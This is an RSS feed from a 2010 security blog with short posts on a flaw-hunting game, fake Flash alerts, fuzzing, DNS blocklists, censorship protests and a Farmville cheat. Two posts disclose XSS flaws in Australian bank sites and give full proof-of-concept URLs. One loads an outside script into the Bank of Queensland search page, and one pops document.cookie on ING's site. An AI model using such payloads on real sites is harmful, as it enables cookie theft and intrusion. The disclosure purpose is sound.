<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
    <channel>
        <title>Just Another Hacker</title>
        <link>http://www.justanotherhacker.com/</link>
        <description>Kitchen sink security</description>
        <language>en</language>
        <copyright>Copyright 2010</copyright>
        <lastBuildDate>Wed, 10 Mar 2010 17:15:34 +1000</lastBuildDate>
        <generator>http://www.sixapart.com/movabletype/</generator>
        <docs>http://www.rssboard.org/rss-specification</docs>
        
        <item>
            <title>Security roulette</title>
            <description><![CDATA[I had some spare time, so I created a little game. I've called it security roulette. The object is to find as many web application security flaws as you can in a given number of websites in a limited timeframe.The number of websites is determined by google and the time limit is self imposed or agreed to if you are challenging someone.<br /><br />I wrote a quick <a href="http://www.justanotherhacker.com/security-roulette.html">mashup</a> to help you play. The scorecard could probably use some tweaking. My suggested house rule is <i>"no browser plugins or third party applications allowed"</i>.<br /><br />]]></description>
            <link>http://www.justanotherhacker.com/2010/03/security-roulette.html</link>
            <guid>http://www.justanotherhacker.com/2010/03/security-roulette.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">challenge</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">game</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">hacking</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">security</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">vulnerability</category>
            
            <pubDate>Wed, 10 Mar 2010 17:15:34 +1000</pubDate>
        </item>
        
        <item>
            <title>Nifty or dangerous - The unofficial security alert</title>
            <description><![CDATA[<a href="http://twitter.com/dblackshell">@dblackshell</a> wrote about a <a href="http://insanesecurity.info/blog/unexpected-security-01">"nifty" feature</a> on his blog a while back. A website he uses has implemented a feature which will alert the end user if their flash version is not up to date. It delivers the message in a very authoritative looking way, as you can see in this image (click for full version).<br /><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.justanotherhacker.com/us01.png"><img alt="flash-update-alert.png" src="http://www.justanotherhacker.com/assets_c/2010/03/us01-thumb-400x320-60.png" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="320" width="400" /></a></span><br />I tend to disagree with his opinion. It is not "nifty", <b>it is harmful</b>. Although I won't go in depth here, I believe as many other do that user education does not work. Casual computer users does not have the required knowledge to determine the validity of this message at the tip of their fingers. The end result is that we train more users to click accept. What do you think this user will do the next time they are presented with this image?<br /><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.justanotherhacker.com/fake_flash.jpg"><img alt="flash-update-malware.jpg" src="http://www.justanotherhacker.com/assets_c/2010/03/fake_flash-thumb-400x248-62.jpg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="248" width="400" /></a></span><br />The latter image is <a href="http://blogs.zdnet.com/security/?p=1615">malware disguised as a flash update</a>. Could your parents, grand parents aunts, cousins or friends tell the difference?<br /><br /><div><br /></div>]]></description>
            <link>http://www.justanotherhacker.com/2010/03/nifty-or-dangerous---the-unofficial-security-alert.html</link>
            <guid>http://www.justanotherhacker.com/2010/03/nifty-or-dangerous---the-unofficial-security-alert.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">flash</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">malware</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">security</category>
            
            <pubDate>Wed, 03 Mar 2010 15:07:55 +1000</pubDate>
        </item>
        
        <item>
            <title>CWE/SANS top 25 dangerous programming errors</title>
            <description><![CDATA[Unless you're living under a rock, you should have heard of the Common Weakness Enumeration (CWE)/SANS top 25 list. The second annual list was released some time ago and is always worth a read. The guys over at the application security street fighter blog is honouring this years list with a run down of the vulnerabilities and applicable solutions. As usual it's a no nonsense approach to describing the problem and solutions without going too far in depth. I would recommend this blog to any developer, so go have a read...right now :) Number #1 is cross site scripting (XSS),<br /><br /><a href="http://blogs.sans.org/appsecstreetfighter/">http://blogs.sans.org/appsecstreetfighter/</a><br />]]></description>
            <link>http://www.justanotherhacker.com/2010/02/cwesans-top-25-dangerous-programming-errors.html</link>
            <guid>http://www.justanotherhacker.com/2010/02/cwesans-top-25-dangerous-programming-errors.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">news</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">security</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">solution</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">xss</category>
            
            <pubDate>Mon, 22 Feb 2010 22:06:42 +1000</pubDate>
        </item>
        
        <item>
            <title>Blogkeeping</title>
            <description><![CDATA[I've been doing some blog maintenance, updating old posts, spam prevention changes and publishing more pages. If anyone got their RSS feed spammed, I'm sorry.<br />
That's all.]]></description>
            <link>http://www.justanotherhacker.com/2010/02/blogkeeping.html</link>
            <guid>http://www.justanotherhacker.com/2010/02/blogkeeping.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
            <pubDate>Sat, 20 Feb 2010 13:57:32 +1000</pubDate>
        </item>
        
        <item>
            <title>Tool review: Fuzzman</title>
            <description><![CDATA[Fuzzman is a simple perl script from <a href="http://www.cipher.org.uk/">cipher.org.uk</a> (the guys that brought you bugle). It is a simple perl script that inspects the man page for a command and enumerates through the combinations of command line options. It then creates a shell script that will run the commands with fuzzing data, such as buffer overflow or format strings. You then run the shell script and look for a crash. It's a simple automated script, with some simple changes you could even make it part of your automated testing suite.<br /><br />For more information on fuzzman, examples and download go to:<br /><a href="http://www.cipher.org.uk/read/2007/04/18/fuzzman-man-pages-based-fuzzer/">http://www.cipher.org.uk/read/2007/04/18/fuzzman-man-pages-based-fuzzer/</a><br /><br /><b>Pros:</b><br />By generating the fuzzing script from man pages it can fuzz any binary that has a man page.<br /><br /><b>Cons:</b><br />Many binaries are missing or have inconsistent man pages.<br /><br />]]></description>
            <link>http://www.justanotherhacker.com/2010/02/tool-review-fuzzman.html</link>
            <guid>http://www.justanotherhacker.com/2010/02/tool-review-fuzzman.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">fuzzing</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">security</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">tools</category>
            
            <pubDate>Mon, 15 Feb 2010 22:45:58 +1000</pubDate>
        </item>
        
        <item>
            <title>Github just made my day</title>
            <description><![CDATA[As much as I needed to read some source code revision history, this made me smile.<br /><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.justanotherhacker.com/github-down.jpg"><img alt="github-failicorn.jpg" src="http://www.justanotherhacker.com/assets_c/2010/02/github-down-thumb-400x228-58.jpg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="228" width="400" /></a></span><br /><div><br /></div>All I can say is failicorn &gt; failwhale!<br />]]></description>
            <link>http://www.justanotherhacker.com/2010/02/github-just-made-my-day.html</link>
            <guid>http://www.justanotherhacker.com/2010/02/github-just-made-my-day.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">fail</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">github</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
            <pubDate>Wed, 10 Feb 2010 15:00:30 +1000</pubDate>
        </item>
        
        <item>
            <title>Worlds greatest shave</title>
            <description><![CDATA[I'm taking part in the Leukaemia Foundation's World's Greatest Shave
2010. Please sponsor me! The funds we raise will help the Leukaemia
Foundation to provide practical care and support to patients and
families living with leukaemias, lymphomas, myeloma and related blood
disorders.<br /><br /><div align="center"><b><a href="http://my.imisfriendraising.com.au/personalPage.aspx?registrationID=321839">http://my.imisfriendraising.com.au/personalPage.aspx?registrationID=321839</a></b><br /> </div>]]></description>
            <link>http://www.justanotherhacker.com/2010/02/worlds-greatest-shave.html</link>
            <guid>http://www.justanotherhacker.com/2010/02/worlds-greatest-shave.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">news</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
            <pubDate>Wed, 03 Feb 2010 12:43:06 +1000</pubDate>
        </item>
        
        <item>
            <title>OpenDNS breaks RBL, google saves the day</title>
            <description><![CDATA[The reason behind the change is a simple one. They do not (currently) fudge NXDOMAIN records like openDNS do. This has a tendency to break RBL queries, openDNS "solves" this problem by making exceptions for known RBLs. As you can see from this <a href="http://forums.opendns.com/comments.php?DiscussionID=5668">OLD discussion on the openDNS forums</a> this has been their policy for a long time. <br /><br />The default RBL services used by the movable type spamlookup plugin are bsb.spamlookup.net and sc.surbl.org. I also use additional lookups like <a href="http://www.stopforumspam.com/">stopforumspam</a>, <a href="http://www.spamhaus.org/">spamhaus</a> and others. As a result I was constantly experiencing false positives for comments and trackbacks. Changing to google solved all these problems. If you are using niche RBLs and openDNS I would recommend that you test these.<br /><br />[OpenDNS]<br /><pre>$ host nopes.grrrr.bsb.spamlookup.net 208.67.222.222
nopes.grrrr.bsb.spamlookup.net	A	208.69.32.132
 !!! nopes.grrrr.bsb.spamlookup.net A record has zero ttl<br />
$ host nopes.grrrr.bsb.empty.us 208.67.222.222
nopes.grrrr.bsb.empty.us	A	208.69.32.132
 !!! nopes.grrrr.bsb.empty.us A record has zero ttl
</pre>FAIL!<br /><br />[Google]<br /><pre>$ host nopes.grrrr.bsb.spamlookup.net 8.8.8.8
nopes.grrrr.bsb.spamlookup.net does not exist at google-public-dns-a.google.com, try again<br />
$ host nopes.grrrr.bsb.empty.us 8.8.8.8
nopes.grrrr.bsb.empty.us does not exist at google-public-dns-a.google.com, try again
</pre>WINNAR!<br /><br />I have taken the liberty of reporting these two to openDNS as they are common for MT users, however there are several other RBLs that I use which aren't covered by openDNS. By changing to google public DNS I don't have to put up with false positives. It also saves me the hassle of having to verify and "fix" RBLs every time I make changes.<br /><br />If you want to make the change you can find the details at: <a href="http://code.google.com/speed/public-dns/">http://code.google.com/speed/public-dns/</a><br /><br /><br /> ]]></description>
            <link>http://www.justanotherhacker.com/2010/01/opendns-breaks-rbl-google-saves-the-day.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/opendns-breaks-rbl-google-saves-the-day.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">movable</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">rant</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">rbl</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">solution</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">spam</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">sysadmin</category>
            
            <pubDate>Tue, 26 Jan 2010 13:03:58 +1000</pubDate>
        </item>
        
        <item>
            <title>The Great Australian Internet Blackout Protest</title>
            <description><![CDATA[As you may or may not have noticed, I have blacked out my blog. It's an hour before midnight, but I'd like to get some sleep so I started a little early. If you haven't blacked out your website or blog yet then I recommend that you do it now.<br /><br /><a href="http://www.internetblackout.com.au/websites/">http://www.internetblackout.com.au/websites/</a><br /><br /> ]]></description>
            <link>http://www.justanotherhacker.com/2010/01/the-great-australia-internet-blackout-protest.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/the-great-australia-internet-blackout-protest.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">news</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">nocleanfeed</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
            <pubDate>Sun, 24 Jan 2010 22:57:13 +1000</pubDate>
        </item>
        
        <item>
            <title>Game hacking - Number theory</title>
            <description><![CDATA[For my <a href="http://www.justanotherhacker.com/articles/game-hacking---number-theory.html">second wintereenmas article</a> I look at game hacking through number theory. This is a huge subject, even without hacking, but I focused on two of the most common techniques that I have been able put to extensive use. You can read the full article <a href="http://www.justanotherhacker.com/articles/game-hacking---number-theory.html">here</a>.<br /><br /><br /> ]]></description>
            <link>http://www.justanotherhacker.com/2010/01/game-hacking---number-theory.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/game-hacking---number-theory.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">game</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">hacking</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">wintereenmas</category>
            
            <pubDate>Thu, 21 Jan 2010 20:55:59 +1000</pubDate>
        </item>
        
        <item>
            <title>Bank of Queensland XSS</title>
            <description><![CDATA[<a href="http://www.boq.com.au/">Bank of Queensland</a> had an XSS in their search form;<br /><br /><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.justanotherhacker.com/BoQ%20-%20XSS%20-%20PoC.jpg"><img alt="BoQ - XSS - PoC.jpg" src="http://www.justanotherhacker.com/assets_c/2010/01/BoQ%20-%20XSS%20-%20PoC-thumb-400x186-54.jpg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="186" width="400" /></a></span>The link used for this proof of concept is <a href="http://search.boq.com.au/search/search.cgi?query_and=&amp;query_phrase=&amp;query_or=&amp;query_not=&amp;sort=title%22%3Ejuju%3Cscript%20src=%27http://justanotherhacker.com/x.js%27%3E&amp;scope=&amp;meta_t=&amp;meta_a=&amp;meta_s=&amp;meta_f_sand=&amp;meta_d1day=&amp;meta_d1month=&amp;meta_d1year=&amp;meta_d2day=&amp;meta_d2month=&amp;meta_d2year=&amp;collection=boq&amp;form=advanced">http://search.boq.com.au/search/search.cgi?query_and=&amp;query_phrase=&amp;query_or=&amp;query_not=&amp;sort=title%22%3Ejuju%3Cscript%20src=%27http://justanotherhacker.com/x.js%27%3E&amp;scope=&amp;meta_t=&amp;meta_a=&amp;meta_s=&amp;meta_f_sand=&amp;meta_d1day=&amp;meta_d1month=&amp;meta_d1year=&amp;meta_d2day=&amp;meta_d2month=&amp;meta_d2year=&amp;collection=boq&amp;form=advanced</a><br /> <div><br />This hole has been fixed by BoQ.<br /></div>]]></description>
            <link>http://www.justanotherhacker.com/2010/01/bank-of-queensland-xss.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/bank-of-queensland-xss.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">disclosure</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">security</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">vulnerability</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">xss</category>
            
            <pubDate>Wed, 20 Jan 2010 14:30:10 +1000</pubDate>
        </item>
        
        <item>
            <title>ING XSS</title>
            <description><![CDATA[I found a XSS vulnerability in ING's australian website;
<span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.justanotherhacker.com/ING%20-%20XSS%20-%20PoC.jpg"><img alt="ING - XSS - PoC.jpg" src="http://www.justanotherhacker.com/assets_c/2010/01/ING%20-%20XSS%20-%20PoC-thumb-400x241-55.jpg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="241" width="400" /></a></span><br />The proof of concept url used to illustrate the vulnerability is: <a href="http://www.ing.com.au/personal/Search.aspx?keyword=%27;alert%28document.cookie%29;test=%27">http://www.ing.com.au/personal/Search.aspx?keyword=%27;alert(document.cookie);test=%27</a><br /><div><br /></div>]]></description>
            <link>http://www.justanotherhacker.com/2010/01/ing-xss.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/ing-xss.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">disclosure</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">security</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">vulnerability</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">xss</category>
            
            <pubDate>Mon, 18 Jan 2010 22:23:37 +1000</pubDate>
        </item>
        
        <item>
            <title>Farmville cheat - Wintereenmas extra</title>
            <description><![CDATA[For my first wintereenmas based post I have decided to share a farmville cheat. It takes advantage of a timing overlap when visiting a neighbours farm. After you click to visit a neighbours farm, but before the help a friend window appears click to visit the same neighbour again. Again, before the help a friend window appears click to visit the neighbours farm. Keep visiting the neighbour before the window appears. It will load overlapping help a friend windows which you can then repeatedly click for endless, instant amounts of 5xp and 20 gold. Granted the gold isn't that much, but the xp quickly adds up.<br /><br />How the cheat works should be made quite clear in this video I recorded on a new account (you have to complete the tutorial for this to work);<br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/bPb7lkXmT2U&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/bPb7lkXmT2U&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"></object><br />The cheat no longer works as displayed in the video. If you log back into the account you will be level 0. Publishing the links for leveling may let the neighbours of the cheating farmer get the leveling bonus. Gifting may also work. I haven't bothered testing. You can keep going indefinitely, I just stopped because I hit a lag spike.<br />]]></description>
            <link>http://www.justanotherhacker.com/2010/01/farmville-cheat---wintereenmas-extra.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/farmville-cheat---wintereenmas-extra.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">game</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">wintereenmas</category>
            
            <pubDate>Sat, 16 Jan 2010 22:48:11 +1000</pubDate>
        </item>
        
        <item>
            <title>Happy wintereenmas (2010)</title>
            <description><![CDATA[It is that time of the year again and as a member of the nintendo generation I am planning to celebrate wintereenmas with some solid gaming sessions. I will also be posting some game related articles on the blog. However as <a href="http://www.justanotherhacker.com/2010/01/welcome-to-the-new-decade.html">I am participating in the internet blackout</a> during the week of wintereenmas I have decided to move the gaming extravaganza forward. So over the next week I will be making early wintereenmas posts and spreading wintereenmas cheers.<br /><br />I'll start by plugging these websites;<br /><br /><a href="http://blog.oarsum.com/">http://blog.oarsum.com/</a><br />A gaming oriented blog run by a former colleague and friend. Topics range from board games to online games.<br /><br /><a href="http://www.leaguecraft.com/">http://www.leaguecraft.com/</a><br />League of Legends website with detailed guides, hero, items and recipe info and more.<br /><br /><br /><br />]]></description>
            <link>http://www.justanotherhacker.com/2010/01/happy-wintereenmas-2010.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/happy-wintereenmas-2010.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">news</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">wintereenmas</category>
            
            <pubDate>Sat, 16 Jan 2010 08:46:24 +1000</pubDate>
        </item>
        
        <item>
            <title>Welcome to the new decade</title>
            <description><![CDATA[It's a new year, a new decade and already it's had it's ups and downs. I still haven't completed my redesign, but it's coming together slowly and should be ready soon.<br /><br />The Australian government's mandatory censorship is still a big concern for me. The biggest activist event this month is the <a href="http://www.internetblackout.com.au/">Australian internet blackout</a> protest and Australia day protest parties. The January 30th capital city protests were moved to Saturday March 6th (As noted on the facebook event page <a href="http://www.facebook.com/event.php?eid=200213317223">http://www.facebook.com/event.php?eid=200213317223</a>).<br /><br />I strongly encourage you to participate in the internet blackout and other protests. For more details on the internet blackout, go to <a href="http://www.internetblackout.com.au/">http://www.internetblackout.com.au/</a><br /> <br />]]></description>
            <link>http://www.justanotherhacker.com/2010/01/welcome-to-the-new-decade.html</link>
            <guid>http://www.justanotherhacker.com/2010/01/welcome-to-the-new-decade.html</guid>
            
            
                <category domain="http://www.sixapart.com/ns/types#tag">news</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">nocleanfeed</category>
            
                <category domain="http://www.sixapart.com/ns/types#tag">not hacking</category>
            
            <pubDate>Wed, 13 Jan 2010 22:35:12 +1000</pubDate>
        </item>
        
    </channel>
</rss>
